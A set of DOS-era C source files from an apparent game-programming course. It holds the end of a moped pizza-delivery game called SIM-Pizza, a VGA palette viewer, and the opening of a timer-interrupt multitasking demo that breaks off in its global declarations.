sound_fx[SOUND_THANK_YOU_G] = Voc_Load_Sound("SMTHANK2.VOC",&sound_lengths[SOUND_THANK_YOU_G]);
sound_fx[SOUND_TOO_LONG ] = Voc_Load_Sound("SMTOO.VOC ",&sound_lengths[SOUND_TOO_LONG ]);
sound_fx[SOUND_COME_HOME ] = Voc_Load_Sound("SMCOME.VOC ",&sound_lengths[SOUND_COME_HOME ]);
sound_fx[SOUND_CAR_SOUND ] = Voc_Load_Sound("SMCAR.VOC ",&sound_lengths[SOUND_CAR_SOUND ]);
sound_fx[SOUND_START ] = Voc_Load_Sound("SMSTART.VOC ",&sound_lengths[SOUND_START ]);
// turn on speaker
Voc_Set_Speaker(1);
// success
return(1);
} // end Initialize_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Close_Sound_System(void)
{
// this function closes down the sound system
// make sure there is sound
if (sound_available)
{
// turn off speaker
Voc_Set_Speaker(0);
// unload sounds
Voc_Unload_Sound(sound_fx[SOUND_CAR_STOP ]);
Voc_Unload_Sound(sound_fx[SOUND_CAR_START ]);
Voc_Unload_Sound(sound_fx[SOUND_MOPED_HORN ]);
Voc_Unload_Sound(sound_fx[SOUND_CAR_HORN ]);
Voc_Unload_Sound(sound_fx[SOUND_MOPED_HIT ]);
Voc_Unload_Sound(sound_fx[SOUND_HUMAN_HIT ]);
Voc_Unload_Sound(sound_fx[SOUND_YO_VINNIE ]);
Voc_Unload_Sound(sound_fx[SOUND_LOST_ORDER ]);
Voc_Unload_Sound(sound_fx[SOUND_THANK_YOU_B]);
Voc_Unload_Sound(sound_fx[SOUND_THANK_YOU_G]);
Voc_Unload_Sound(sound_fx[SOUND_TOO_LONG ]);
Voc_Unload_Sound(sound_fx[SOUND_COME_HOME ]);
Voc_Unload_Sound(sound_fx[SOUND_CAR_SOUND ]);
Voc_Unload_Sound(sound_fx[SOUND_START ]);
Voc_Terminate_Driver();
} // end if sound
} // end Close_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Play_Sound(int sound)
{
// this function plays a sound by turning off one if there is a sound playing
// and then playing the sent sound
// make sure there is a sound system first
if (sound_available)
{
// stop the current sound (if there is one)
Voc_Stop_Sound();
// play sent sound
Voc_Play_Sound(sound_fx[sound] , sound_lengths[sound]);
} // end if sound available
} // end Play_Sound
///////////////////////////////////////////////////////////////////////////////
unsigned char Get_Pixel_DB(int x,int y)
{
// gets the color value of pixel at (x,y) from the double buffer
return double_buffer[((y<<8) + (y<<6)) + x];
} // end Get_Pixel_DB
//////////////////////////////////////////////////////////////////////////////
void Do_Intro(void)
{
// this function displays the introduction screen and then melts it
// load intro screen and display for a few secs.
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("simint.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
Delay(50);
Fade_Lights();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Do_Intro
///////////////////////////////////////////////////////////////////////////////
void Load_Environment(void)
{
// this function loads the imagery for the environment
int index; // loop variables
// load in imagery
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the road and building sprites
SET_SPRITE_SIZE(16,16);
Sprite_Init((sprite_ptr)&roads,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&builds,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&numbers,0,0,0,0,0,0);
// load in frames for roads
for (index=0; index<10; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&roads,index,index,0);
} // end for
// now load the buildings
for (index=0; index<17; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&builds,index,index,1);
} // end for
// load last two sidewalk bitmaps
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&builds,index,0,2);
index++;
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&builds,index,1,2);
// now load the house numbers
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&numbers,index,index,4);
} // end for
for (index=0; index<8; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&numbers,index+16,index,5);
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Environment
///////////////////////////////////////////////////////////////////////////////
void Load_Humans(void)
{
// this function loads the imagery for the humans
int index, // loop indices
index_2,
color; // used to select color of human which is reall the row in the
// pcx file
// load in the human imagery
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg3.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// set the proper sprite size
SET_SPRITE_SIZE(6,10);
// load in the humans
for (index=0; index<NUM_HUMANS; index++)
{
Sprite_Init((sprite_ptr)&humans[index],0,0,0,0,0,0);
color = rand()%2;
for (index_2=0; index_2<NUM_HUMAN_FRAMES; index_2++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&humans[index],index_2,index_2,color);
// set color field (use the motion_clock field in the structure)
humans[index].motion_clock = color*4;
} // end for index_2
// set up state information
humans[index].state = HUMAN_DEAD;
humans[index].x = 0;
humans[index].y = 0;
humans[index].curr_frame = 0;
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Humans
//////////////////////////////////////////////////////////////////////////////
void Load_Cars(void)
{
// this function loads the imagery for the cars
int index, // loop indices
index_2;
// load in the human imagery
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg2.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// set the proper sprite size
SET_SPRITE_SIZE(12,12);
// load in the cars
for (index=0; index<NUM_CARS; index++)
{
Sprite_Init((sprite_ptr)&cars[index].object,0,0,0,0,0,0);
for (index_2=0; index_2<NUM_CAR_FRAMES; index_2++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&cars[index].object,index_2,index_2,0);
// set up state information
cars[index].state = CAR_DEAD;
cars[index].x = 0;
cars[index].y = 0;
cars[index].object.curr_frame = 0;
} // end for
// load in the frames for the pizza boy's moped
Sprite_Init((sprite_ptr)&boy.object,0,0,0,0,0,0);
for (index=0; index<NUM_BOY_FRAMES; index++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&boy.object,index,15-index,2);
// set up state information
boy.state = BOY_ALIVE;
boy.x = Assign_Integer(48);
boy.y = Assign_Integer(144);
boy.curr_xv = 0;
boy.curr_yv = 0;
boy.max_xv = 0;
boy.max_yv = 0;
boy.xv = 0;
boy.yv = 0;
boy.throttle = 0;
boy.hp = Assign_Float((float).4);
boy.friction = Assign_Float((float)-.10);
boy.brakes = Assign_Integer(1);
boy.max_throttle = Assign_Integer(3);
boy.counter_1 = 0;
boy.threshold_1 = 2;
boy.object.curr_frame = 0;
boy.direction = 0;
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Cars
////////////////////////////////////////////////////////////////////////////////
void Load_Splats(void)
{
// this function loads the splats
int index, // loop var
index_2;
// load in imagery for explosions
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg4.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the splats and extract bitmaps
SET_SPRITE_SIZE(10,10);
// load in frames for splats
for (index=0; index<NUM_SPLATS; index++)
{
Sprite_Init((sprite_ptr)&splats[index],0,0,0,0,0,0);
for (index_2=0; index_2<8; index_2++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&splats[index],index_2,index_2,0);
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Splats
////////////////////////////////////////////////////////////////////////////////
void Load_Death(void)
{
// this function loads the death frames
int index; // loop var
// load in imagery for death frames
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg6.pcx",(pcx_picture_ptr)&imagery_pcx,1);
// initialize the death sprite and extract bitmaps
SET_SPRITE_SIZE(32,30);
// load in frames for death sequence
Sprite_Init((sprite_ptr)&boy_death,0,0,0,0,0,0);
for (index=0; index<16; index++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&boy_death,index,index%8,index/8);
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Death
////////////////////////////////////////////////////////////////////////////////
void Load_Pizzas(void)
{
// this function loads the pizzas
int index, // loop var
index_2;
// load in imagery for explosions
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("simimg5.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the splats and extract bitmaps
SET_SPRITE_SIZE(6,6);
// load in frames for pizzas
for (index=0; index<NUM_PIZZAS; index++)
{
Sprite_Init((sprite_ptr)&pizzas[index].object,0,0,0,0,0,0);
for (index_2=0; index_2<8; index_2++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&pizzas[index].object,index_2,index_2,0);
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Pizzas
//////////////////////////////////////////////////////////////////////////////
void Load_Background(void)
{
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("simbak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
} // Load_Background
///////////////////////////////////////////////////////////////////////////////
void Show_Instructions(void)
{
// this function displays the instructions and then disolves them
// load instruction screen and display it until a key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("simins.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
while(!kbhit()){};
getch();
// let's try this screen transition
Sheer();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Show_Instructions
///////////////////////////////////////////////////////////////////////////////
void Draw_Gauges(void)
{
static int time_counter=0, // track virtual time
seconds_counter=0, // tracks virtual seconds indicator
difficulty_counter=0; // tracks virtual hours to modify difficulty
// this function draws the players statistics in the display module
char buffer[128],min_string[8];
int hours, minutes;
// show the number of mopeds
sprintf(buffer,"%d",boy_mopeds);
Blit_String_DB(76,179,15,buffer,0);
// show the number of pizzas in rack
sprintf(buffer,"%d ",boy_pizzas);
Blit_String_DB(76,189,15,buffer,0);
// show the number of dead peds
sprintf(buffer,"%d",boy_xpeds);
Blit_String_DB(267+10,179,15,buffer,0);
// show the tips
sprintf(buffer,"$%d",boy_tips);
Blit_String_DB(251+10,189,15,buffer,0);
// show the time of day
// first convert minutes to hours:mins
hours = boy_time / 60;
minutes = boy_time % 60;
// make sure not to display military time
if (hours>12)
hours-=12;
// test if it's time to clean the display up
if (boy_time==780) // 12:00 pm
Blit_String_DB(184,179,12," ",0);
// advance time
if (++time_counter==25)
{
// reset counter
time_counter=0;
// increment time
boy_time++;
// adjust difficulty as day progreses
if (++difficulty_counter==60)
{
// make game a little harder
difficulty-=3;
// reset counter
difficulty_counter = 0;
} // end if it's the end of an hour
} // end if one virtual minute
// format minutes ...this sucks!
if (minutes<10)
sprintf(min_string,"0%d",minutes);
else
sprintf(min_string,"%d",minutes);
// make little digital separator blink
if (++seconds_counter <= 25)
sprintf(buffer,"%d %s",hours,min_string);
else
if (seconds_counter > 25 && seconds_counter<50)
sprintf(buffer,"%d:%s",hours,min_string);
else
{
seconds_counter = 0;
sprintf(buffer,"%d:%s",hours,min_string);
} // end else reset
// draw the time
Blit_String_DB(184,179,12,buffer,0);
} // end Draw_Gauges
///////////////////////////////////////////////////////////////////////////////
void Animate_Speedo(void)
{
// this function does the color palette animation for the speedometer
static int entered=0; // used to track first call to function
static RGB_color color_dark,color_light; // used as working colors
int index; // looping index
fixed speed; // holds percentage of maximum power
// test if this is first time in function
if (!entered)
{
// set flag
entered = 1;
// create a dark blue
color_dark.red = 0;
color_dark.green = 0;
color_dark.blue = 30;
// create a dark blue
color_light.red = 0;
color_light.green = 0;
color_light.blue = 63;
// set all speedo colors to dark blue
for (index=START_SPEEDO_COLOR; index<=END_SPEEDO_COLOR; index++)
{
Set_Palette_Register(index,(RGB_color_ptr)&color_dark);
} // end for
} // end if first time
else
{
// do normal processing
// based on throttle position illuminate speedo
// convert fixed point ratio of max throttle/current throttle to
// speed
speed = (((boy.throttle << FP_SHIFT)/boy.max_throttle)*(fixed)6) >> FP_SHIFT;
// illumninate lights on dash
for (index=START_SPEEDO_COLOR; index<START_SPEEDO_COLOR+speed; index++)
{
Set_Palette_Register(index,(RGB_color_ptr)&color_light);
} // end for
// turn the rest off
for (; index<=END_SPEEDO_COLOR; index++)
{
Set_Palette_Register(index,(RGB_color_ptr)&color_dark);
} // end for
} // end else normal processing
} // end Animate_Speedo
///////////////////////////////////////////////////////////////////////////////
void Order_Pizza(void)
{
// this function orders a pizza
int index,
house_number;
char buffer[64];
// select a home that hasn't ordered yet
while(1)
{
// select a random house
house_number = rand()%(curr_house+1);
// test if this one hasn't ordered
if (house_pos[house_number].state==HOUSE_NO_ORDER)
{
// this is the order and set up house as ordered
house_pos[house_number].state = HOUSE_ORDERED;
house_pos[house_number].timer = 500+5*rand()%25; // about 30 virtual mins.
// build up message
sprintf(buffer,"<NAME>...take a pizza to house %d",house_number+1);
// send it
Insert_Message(buffer,0);
// play sound
Play_Sound(SOUND_YO_VINNIE);
// increase number of pizzas ordered
total_orders++;
// tell the house to blink
Blink_House(house_number);
break;
} // end if
} // end while
} // end Order_Pizza
///////////////////////////////////////////////////////////////////////////////
void Age_Orders(void)
{
// this function traverses the pending orders and decrements their timers
// if a timer expires then the pizza order is nullified and a message is sent
int index; // loop index
char buffer[64]; // used to build up message string
// traverse pizza order list for each house
for (index=0; index<=curr_house; index++)
{
// test if there is an order for this house
if (house_pos[index].state==HOUSE_ORDERED)
{
// decrement timer
if (--house_pos[index].timer <= 0)
{
// took too long, forget it!
house_pos[index].state = HOUSE_NO_ORDER;
// send a nasty message
// build up message
sprintf(buffer,"Vinnie!..we just lost number %d",index+1);
// play sound
Play_Sound(SOUND_LOST_ORDER);
// send it with urgency
Insert_Message(buffer,1);
} // end if time has ran out
} // end if house is waiting for a pizza
} // end for index
} // end Age_Orders
////////////////////////////////////////////////////////////////////////////////
void Blink_House(int house_number)
{
static int counter = 0, // internal timer
the_house = -1; // the house being blinked (if any)
// this function will blink the house that it is sent
// test if house number is -1, this means do normal processing
if (house_number==-1)
{
// test if there is currently a blinking house
if (the_house!=-1)
{
// increment timer
++counter;
// see if it's time to change color
// this sequence will blink the house 4 times
if (counter==15)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&roof_color);
else
if (counter==25)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&alert_color);
else
if (counter==40)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&roof_color);
else
if (counter==50)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&alert_color);
else
if (counter==65)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&roof_color);
else
if (counter==75)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&alert_color);
else
if (counter==90)
{
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&roof_color);
// reset system
the_house=-1;
} // end if end of road
} // end if there is a blinking house
} // end if do normal processing
else
{
// user is bliking a new house so set up the variables appropriately
// test if there is a house being blinked and if so preempt it
if (the_house!=-1)
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&roof_color);
// set the house to on
the_house = house_number;
// reset the counter
counter = 0;
// turn the color register on
Set_Palette_Register(the_house+START_NUM_COLOR,
(RGB_color_ptr)&alert_color);
} // send else
} // end Blink_House
/////////////////////////////////////////////////////////////////////////////
void Show_Stats(void)
{
// this function displays the stats screen
float hours, // hours worked
pay, // pay due to salary
cost_mopeds, // cost of breaking mopeds
cost_lost, // cost due to lost orders
cost_injuries, // cost of hurting peds
gross, // gross pay
net, // net pay after taxes and deductions
final; // total finally pay
char buffer[64]; // used to build up stat strings
// load instruction screen and display it until a key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("simstats.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// display stats
// hours worked
hours = (float)(boy_time-540)/(float)60;
sprintf(buffer,"%.2f",hours);
Blit_String(202,48,15,buffer,1);
// total pay
pay = 4.25*hours;
sprintf(buffer,"$%.2f",pay);
Blit_String(202,59,15,buffer,1);
// crashed mopeds
cost_mopeds = 50*(3-boy_mopeds);
sprintf(buffer,"$%.2f",cost_mopeds);
Blit_String(202,95,15,buffer,1);
// injuries
cost_injuries = 100*boy_xpeds;
sprintf(buffer,"$%.2f",cost_injuries);
Blit_String(202,107,15,buffer,1);
// lost orders
cost_lost = 3*(total_orders-orders_filled);
sprintf(buffer,"$%.2f",cost_lost);
Blit_String(202,119,15,buffer,1);
// gross pay
gross = pay - cost_mopeds - cost_injuries - cost_lost;
if (gross<0)
gross=0;
sprintf(buffer,"$%.2f",gross);
Blit_String(230,143,15,buffer,1);
// after taxes
net = gross*.7;
sprintf(buffer,"$%.2f",net);
Blit_String(230,155,15,buffer,1);
// plus tips
final = net+boy_tips;
sprintf(buffer,"$%.2f",final);
Blit_String(230,167,15,buffer,1);
// wait for exit
while(kbhit())
getch();
// let user see it
while(!kbhit()){};
getch();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Show_Stats
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // main event loop exit flag
sent=0, // used to flag end sequence has been initiated
cell_x, // cell x position
cell_y, // cell y position
cell_id, // bitmap id
tx,ty, // test position
direction; // temporary direction variable
char buffer[128]; // used for string printing
// begin the program
printf("\nStarting SIM-Pizza...");
// initialize sound system
sound_available = Initialize_Sound_System();
// let user think the computer is working hard
Delay(50);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// impress user (at least try to)
Do_Intro();
// show the instructions
Show_Instructions();
// load imagery for game
Load_Environment();
Load_Humans();
Load_Cars();
Load_Splats();
Load_Pizzas();
Load_Death();
Load_Background();
// initialize everything
Init_Humans();
Init_Cars();
Init_Pizzas();
Init_Messages();
Insert_Message("Boda Boom! Bada Bing!",0);
// install the new keyboard driver
Install_Keyboard();
// draw the screen
Draw_Screen((char **)city_1);
// scan under player first time before loop
SET_SPRITE_SIZE(12,12);
boy.object.x = (int)(boy.x >> FP_SHIFT);
boy.object.y = (int)(boy.y >> FP_SHIFT);
Behind_Sprite_DB((sprite_ptr)&boy.object);
// say what's up
Play_Sound(SOUND_START);
// begin main event loop
while(!done)
{
// erase everything
if (boy.state==BOY_ALIVE)
{
SET_SPRITE_SIZE(12,12);
boy.object.x = (int)(boy.x >> FP_SHIFT);
boy.object.y = (int)(boy.y >> FP_SHIFT);
Erase_Sprite_DB((sprite_ptr)&boy.object);
} // end if boy alive
Erase_Humans();
Erase_Cars();
Erase_Splats();
Erase_Pizzas();
Erase_Boy_Death();
// reset throttle flag
throttle_on = 0;
// is user pressing a key
if ((key_table[INDEX_RIGHT] || key_table[INDEX_LEFT] ||
key_table[INDEX_UP] || key_table[INDEX_DOWN] ||
key_table[INDEX_ALT] ||
key_table[INDEX_SPACE] || key_table[INDEX_ESC] ) &&
(boy.state==BOY_ALIVE))
{
// which key?
if (key_table[INDEX_ESC]) // exit game
{
// exit system
done=1;
} // end if
if (key_table[INDEX_RIGHT]) // move right
{
// turn moped right
if (++boy.counter_1==boy.threshold_1)
{
// reset counter
boy.counter_1 = 0;
// turn moped right
if (--boy.direction<0)
boy.direction=15;
boy.object.curr_frame = boy.direction;
} // end if time to process
} // end if right
else
if (key_table[INDEX_LEFT]) // move left
{
// turn moped left
if (++boy.counter_1==boy.threshold_1)
{
// reset counter
boy.counter_1 = 0;
// turn moped left
if (++boy.direction>15)
boy.direction=0;
boy.object.curr_frame = boy.direction;
} // end if time to process
} // end if left
if (key_table[INDEX_ALT]) // blast horn
{
Play_Sound(SOUND_MOPED_HORN);
} // end if horn
if (key_table[INDEX_UP]) // move up
{
// accelerate
boy.throttle+=boy.hp;
// test we are at maximum speed
if (boy.throttle>boy.max_throttle)
boy.throttle = boy.max_throttle;
// set flag to denote that throttle is engaged
throttle_on = 1;
} // end if up
else
if (key_table[INDEX_DOWN]) // brakes
{
// hit the brakes!
boy.throttle-=boy.brakes;
// test if we have stopped
if (boy.throttle<0)
boy.throttle = 0;
} // end if brakes
if (key_table[INDEX_SPACE]) // throw pizza
{
// throw a pizza
// are there any pizzas to throw
if (--boy_pizzas<0)
boy_pizzas = 0;
else
{
// send message
Insert_Message("Here's your pizza mister!",1);
// rotate pizza direction 90 CC
direction = boy.direction - 4;
if (direction<0)
direction+=16;
// send a pizza sailing
Start_Pizza(((int)(boy.x >> FP_SHIFT)+5),
((int)(boy.y >> FP_SHIFT)+5),
pizza_xv[direction],
pizza_yv[direction],
0);
} // end else
} // end if throw a pizza
} // end if kbhit
// translate moped
boy.x=boy.x + ((boy.throttle * boy_xv[boy.direction])>>FP_SHIFT);
boy.y=boy.y + ((boy.throttle * boy_yv[boy.direction])>>FP_SHIFT);
// test if not on road
cell_x = ((int)(boy.x >> FP_SHIFT)+6)>>4;
cell_y = ((int)(boy.y >> FP_SHIFT)+6)>>4;
// extract bitmap id
cell_id = cell_id = city_1[cell_y][cell_x];
// test if cell is not road
if ((cell_id>=32 && cell_id<=46) ||
(cell_id>=49 && cell_id<=50) )
{
// back moped up
boy.x=boy.x - ((boy.throttle * boy_xv[boy.direction])>>FP_SHIFT);
boy.y=boy.y - ((boy.throttle * boy_yv[boy.direction])>>FP_SHIFT);
// turn off throttle
boy.throttle = 0;
} // end if moped on property
// do edge tests
if (boy.x > (fixed)(320-12)<<FP_SHIFT)
boy.x = 0;
else
if (boy.x < 0)
boy.x = (fixed)(320-12)<<FP_SHIFT;
if (boy.y > (fixed)(176-12)<<FP_SHIFT)
boy.y = 0;
else
if (boy.y < 0)
boy.y = (fixed)(176-12)<<FP_SHIFT;
// test if throttle is disengaged, if so, activate friction
if (!throttle_on)
{
// decrease throttle
boy.throttle+=boy.friction;
// test we are at maximum speed
if (boy.throttle < 0)
boy.throttle = 0;
} // end if throttle off
// test if moped has got a new load from the pizza hut
tx = ((int)(boy.x >> FP_SHIFT))+6;
ty = ((int)(boy.y >> FP_SHIFT))+8;
if (tx>=40 && tx<=52 && ty>=136 && ty<=150)
boy_pizzas = 5;
// move everything
Move_Humans();
Move_Cars();
Move_Pizzas();
Animate_Splats();
Animate_Boy_Death();
Age_Orders();
// start objects here
if (rand()%(difficulty)==1)
Start_Human();
if (rand()%(difficulty)==1)
Start_Car();
if (rand()%(difficulty*5)==1)
Order_Pizza();
// test if it's close to quiting time
if (boy_time==1010 && !sent) // 4:50 pm
{
Insert_Message("Vinnie!...time to go home",1);
Play_Sound(SOUND_COME_HOME);
// set a flag so this doesn't happen any more
sent=1;
}
// scan under objects
if (boy.state==BOY_ALIVE)
{
SET_SPRITE_SIZE(12,12);
boy.object.x = (int)(boy.x >> FP_SHIFT);
boy.object.y = (int)(boy.y >> FP_SHIFT);
Behind_Sprite_DB((sprite_ptr)&boy.object);
} // end if boy alive
Behind_Humans();
Behind_Cars();
Behind_Splats();
Behind_Pizzas();
Behind_Boy_Death();
// draw objects
Draw_Cars();
Draw_Humans();
Draw_Boy_Death();
if (boy.state==BOY_ALIVE)
{
SET_SPRITE_SIZE(12,12);
// boy.object.x = (int)(boy.x >> FP_SHIFT);
// boy.object.y = (int)(boy.y >> FP_SHIFT);
Draw_Sprite_DB((sprite_ptr)&boy.object);
} // end if boy alive
Draw_Splats();
Draw_Pizzas();
// draw all instrumentation
Draw_Gauges();
Send_Message();
Display_Message();
Animate_Speedo();
Blink_House(-1); // note: -1 means do normal processing i.e. it's a command
// display double buffer
Show_Double_Buffer((char far *)double_buffer);
// wait a sec
Delay(1);
// test if it's time to bail
if (boy_mopeds==0 && boy.state==BOY_ALIVE)
{
done=END_MOPEDS; // end game because out of mopeds
} // end if ran out of mopeds
else
if (boy_time>1020) // if it's after 5:00, let's end game also
{
done=END_TIME; // end game because of time
} // end if ran out of time
} // end while
// wait a second
Delay(50);
// do a screen transition
Fade_Lights();
// remove keyboard driver
Delete_Keyboard();
// let user see what he did
Show_Stats();
// exit system with a cool transition
Melt();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
// close sound system
Close_Sound_System();
printf("\nSIM-Pizza shutting down...");
printf("\nAll resources released...exiting back to DOS.\n");
} // end main
<file_sep>/day_03/VGAPAL.C
// This is a little utility program to display the VGA Pallette
// Author: <NAME> <<EMAIL>>
// Created: June 1, 2020
#include <conio.h>
#include "graph3.h"
//Draw an 8x16 color swatch
void draw_swatch(int x, int y, unsigned char color);
void main()
{
const char *row_label[] = { "0x00", "0x10", "0x20", "0x30", "0x40",
"0x50", "0x60", "0x70", "0x80", "0x90",
"0xA0", "0xB0", "0xC0", "0xD0", "0xE0",
"0xF0" };
const char *col_label[] = { "0", "1", "2", "3", "4", "5", "6", "7",
"8", "9", "A", "B", "C", "D", "E", "F" };
int r,c; //row and column index
int x,y; //x,y coordinate
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
/*
* The layout we wish to achieve is this:
* 0 1 2 3 4 5 6 7 8 9 A B C D E F
* 0x00
* 0x10
* 0x20
* 0x30
* 0x40
* 0x50
* 0x70
* 0x80 Colors Go Here
* 0x90 each color space is 16w x 8h
* 0xA0
* 0xB0
* 0xC0
* 0xD0
* 0xE0
* 0xF0
* Rows: 17 * 8 = 136 pixels
* Cols: 36 * 8 = 288 pixels
* Starting row = 100 - (136/2) - 1 = 31
* Starig Col = 160 - (288/2) - 1 = 15
*/
//Draw the palette label
Blit_String(100,8,0x07,"DEFAULT VGA PALETTE",1);
//Draw the col headers
x=15+32+4;
y=31;
for(c=0; c<16; c++, x+=16) {
Blit_String(x, y, 0x07, col_label[c], 1);
}
y+=8;
//Draw the rows
for(r=0; r<16; r++, y+=8) {
x=15;
Blit_String(x,y,0x07, row_label[r], 1);
x+=32;
for(c=0; c<16; c++, x+=16){
draw_swatch(x,y, (r<<4) + c);
}
}
//print exit instructions
Blit_String(0,192,0x07, "press any key to exit", 1);
//wait for a key press
while(!kbhit()) {}
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
}
void draw_swatch(int x, int y, unsigned char color)
{
int right=x+16;
int bottom=y+8;
int py;
for(x; x<right; x++) {
for(py=y; py<bottom; py++) {
Plot_Pixel_Fast(x, py, color);
}
}
}
<file_sep>/day_11/mtask.c
// I N C L U D E S ////////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include graphics our stuff
#include "graph4.h"
#include "graph5.h"
#include "graph6.h"
// D E F I N E S //////////////////////////////////////////////////////////////
// timer defines
#define CONTROL_8253 0x43 // the 8253's control register
#define CONTROL_WORD 0x3C // the control word to set mode 2,binary least/most
#define COUNTER_0 0x40 // counter 0
#define COUNTER_1 0x41 // counter 1
#define COUNTER_2 0x42 // counter 2
#define TIMER_60HZ 0x4DAE // 60 hz
#define TIMER_50HZ 0x5D37 // 50 hz
#define TIMER_40HZ 0x7486 // 40 hz
#define TIMER_30HZ 0x965C // 30 hz
#define TIMER_20HZ 0xE90B // 20 hz
#define TIMER_18HZ 0xFFFF // 18.2 hz (the standard count and the slowest possible)
// interrupt table defines
#define TIME_KEEPER_INT 0x1C // the time keeper interrupt
// multi-tasking kernal defines
#define MAX_TASKS 16 // this should be enough to turn your brains to mush
#define TASK_INACTIVE 0 // this is an inactive task
#define TASK_ACTIVE 1 // this is an active task
// defines for demo tasks
#define NUM_ATOMS 30
#define NUM_STARS 50
// M A C R O S ///////////////////////////////////////////////////////////////
#define LOW_BYTE(n) (n & 0x00ff) // extracts the low-byte of a word
#define HI_BYTE(n) ((n>>8) & 0x00ff) // extracts the hi-byte of a word
// S T U C T U R E S /////////////////////////////////////////////////////////
// this is a single task structure
typedef struct task_typ
{
int id; // the id number for this task
int state; // the state of this task
void (far *task)(); // the function pointer to the task itself
} task, *task_ptr;
// structures for demo tasks
typedef struct particle_typ
{
int x,y; // position of particle
int xv,yv; // velocity of particle
unsigned char color; // color of particle
} particle, *particle_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Change_Timer(unsigned int new_count);
// multi-tasking stuff
void Initialize_Kernal(void);
void Start_Kernal(void);
void Stop_Kernal(void);
int Add_Task(void (far *function)());
int Delete_Task(int id);
void _interrupt far Multi_Kernal(void);
// G L O B A L S /////////////////////////////////////////////////////////////
void (_interrupt far *Old_Time_Isr)(); // used to hold old interrupt vector
// multi-tasking stuff
task tasks[MAX_TASKS]; // this is the task list for the system
int num_tasks = 0; // tracks number of active tasks
// globals for demo tasks
particle atoms[NUM_ATOMS]; // the balls
